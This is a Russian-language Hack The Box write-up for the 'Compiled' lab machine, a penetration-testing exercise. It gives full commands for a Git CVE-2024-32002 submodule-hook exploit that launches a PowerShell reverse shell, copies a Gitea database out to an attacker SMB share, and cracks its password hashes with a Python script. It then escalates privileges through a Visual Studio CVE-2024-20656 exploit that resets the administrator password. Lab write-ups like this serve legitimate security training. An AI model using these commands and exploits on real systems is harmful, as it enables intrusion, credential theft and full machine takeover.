HTB Compiled
Эксплуатируем уязвимости в Git и Visual Studio
Наша цель — получение прав суперпользователя на машине Compiled с учебной площадки Hack The Box. Уровень сложности задания — средний.
warning
Подключаться к машинам с HTB рекомендуется с применением средств анонимизации и виртуализации. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.
Разведка
Сканирование портов
Добавляем IP-адрес машины в /
:
10.10.11.26 compiled.htb
И запускаем сканирование портов.
Справка: сканирование портов
Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:
#!/bin/bashports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '' ',' | sed s/,$//)nmap -p$ports -A $1
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A
).


Сканер нашел четыре открытых порта:
- 3000 — сервис Gitea;
- 5000 — веб‑сервер Python Werkzeug 3.0.3;
- 5985 — служба удаленного управления Windows (WinRM);
- 7680 — неизвестный сервис.
Точка входа
Переходим к Gitea и просматриваем публичные проекты. Нам доступны проекты Compiled и Calculator.

Начнем с первого приложения — Compiled. По исходному коду app.
понимаем, что оно работает на порте 5000 и служит для сборки проекта из репозитория Git.


Из README проекта Calculator можно узнать об используемой версии Git — 2.45.0.

Точка опоры
Первым делом стоит проверить, есть ли для обнаруженной версии продукта готовые эксплоиты. Отправляемся на поиски в Google.

Версия Git 2.45.0 содержит уязвимость CVE-2024-32002, которая может привести к удаленному выполнению кода во время клонирования репозитория. Чтобы это сработало, необходимо сделать репозиторий с подмодулями так, чтобы можно было записывать файлы не в рабочее дерево подмодуля, а в каталог .
. Это позволяет сделать хук, который будет выполняться во время операции клонирования, не давая пользователю возможности проверять исполняемый код.
www
Подробный разбор уязвимости: Exploiting CVE-2024-32002: RCE via git clone.
Для эксплуатации уязвимости зарегистрируемся в Gitea и создадим два репозитория: r1
и r2
.

Теперь приступим к эксплуатации уязвимости.
Настраиваем Git.
git config --global protocol.file.allow always
git config --global core.symlinks truegit config --global init.defaultBranch main
Клонируем первый репозиторий и создаем хук, который выполнит реверс‑шелл на PowerShell.
git clone http://10.10.11.26:3000/ralf/r1.git
cd r1
mkdir -p y/hooks
cat >y/hooks/post-checkout <<EOF#!bin/shpowershell -e JABjAGw.....KAApAA==EOFchmod +x y/hooks/post-checkout
Коммитим и пушим изменения в репозитории.
git add y/hooks/post-checkout
git commit -m "post-checkout"git push
cd ..
Теперь клонируем второй репозиторий и добавляем в него первый репозиторий как подмодуль.
git clone http://10.10.11.26:3000/ralf/r2.git
cd r2
git submodule add --name x/y "git clone http://10.10.11.26:3000/ralf/r1.git" A/modules/x
git commit -m "add-submodule"
Создаем симлинк на .git и обновляем индекс репозитория. Затем коммитим и пушим изменения в репозитории.
printf ".git" >dotgit.txt
git hash-object -w --stdin <dotgit.txt >dot-git.hash
printf "120000 %s 0\ta\n" "$(cat dot-git.hash)" >index.info
git update-index --index-info <index.info
git commit -m "add-symlink"git push
Когда все готово, открываем листенер для реверс‑шелла:
rlwrap nc -nlvp 4321
И отправляем ссылку на второй репозиторий через сайт Compiled.

Мгновенно получаем сессию пользователя Richard.

Продвижение
На хосте установлен сервис Gitea, так что попробуем собрать учетные данные. Gitea установлен в каталоге C:\
.

В каталоге data
службы есть файл базы данных gitea.
.

Чтобы скачать файл с удаленного сервера, запустим на своем хосте SMB-сервер из набора impacket и скопируем файл на эту шару.
smbserver.py -smb2support test .
copy gitea.db \\10.10.16.29\test\

В файле базы данных сразу попробуем найти учетные данные, поэтому проверим таблицу user
. В этой таблице находим ключевую информацию пользователей.

Попробуем пробрутить хеши PBKDF2. Строка pbkdf2$
50000$50
говорит о том, что хеш PBKDF2 имеет 50 000 итераций и длину 50 байт. Но при запуске hashcat с указанием нужного типа хешей получаем ошибку too long.
Попробуем набросать свой простенький скрипт для перебора пароля по словарю. Хеш и соль для пользователя emily
берем из файла базы.
import hashlibimport binasciidict = 'rockyou.txt'key = '97907280dc24fe517c43475bd218bfad56c25d4d11037d8b6da440efd4d691adfead40330b2aa6aaf1f33621d0d73228fc16'salt = binascii.unhexlify('227d873cca89103cd83a976bdac52486')dklen = 50iterations = 50000with open(dict, 'r', encoding='utf-8') as f: for line in f: password = line.strip().encode('utf-8') hashC = hashlib.pbkdf2_hmac( hash_name='sha256', password=password, salt=salt, iterations=iterations, dklen=dklen ) hashT = binascii.unhexlify(key) if hashC == hashT: print("Hash cracked: " + password.decode()) break

Пароль оказался очень легкий. Неужели он используется и в системе? Оказалось, что да: успешно подключаемся по WinRM и получаем первый флаг.
evil-winrm -u emily -p 12345678 -i 10.10.11.26

Локальное повышение привилегий
Так как WinRM использует тип логона 3 (Network), сессия будет ограничена. Чтобы получить логон типа 2 (Interactive), запустим листенер:
rlwrap nc -nlvp 4321
И теперь выполним реверс‑шелл через скрипт RunasCs, который по умолчанию использует тип логона 2 для новых процессов.
r.exe emily 12345678 cmd.exe -r 10.10.16.29:4321

Дальше я потратил некоторое время на поиск пути повышения привилегий. Он отыскался, когда я стал проверять версии установленного ПО.
wmic product get name,version

На хосте установлено много средств разработки, но обратим внимание на компоненты VS версии 16.10. Проверим версию Microsoft Visual Studio 2019.
"C:\Program Files (x86)\Microsoft Visual Studio\Installer\vswhere.exe" -property catalog_productDisplayVersion

У нас версия 16.
, а в Visual Studio 2019 до версии 16.
есть баг за номером CVE-2024-20656. Сервис VSStandardCollectorService150, который служит для диагностики Visual Studio и работает в контексте NT
, можно использовать для сброса DACL произвольного файла, что приводит к повышению привилегий. Полный разбор этого бага есть на сайте MDSec, а мы возьмем готовый эксплоит и внесем небольшие правки.
Первым делом изменим путь к файлу VSDiagnostics.
в переменной cmd
на следующий:
C:\Program Files (x86)\Microsoft Visual Studio\2019\Community\Team Tools\DiagnosticsHub\Collector\VSDiagnostics.exe

Затем найдем функцию cb1
и внутри CopyFile
изменим путь к файлу, который будет выполнен в контексте SYSTEM
.

Вместо cmd.
укажем исполняемый файл change.
, который просто сменит пароль администратора. Скомпилируем его из исходного кода.
#include <stdlib.h>int main(){ system("net user administrator rrRR__11"); return 0;}
x86_64-w64-mingw32-gcc change.c -o change.exe
Загружаем файл change.
и собранный эксплоит на сервер, после чего запускаем.

Теперь подключаемся по WinRM от имени администратора и читаем последний флаг.

Машина захвачена!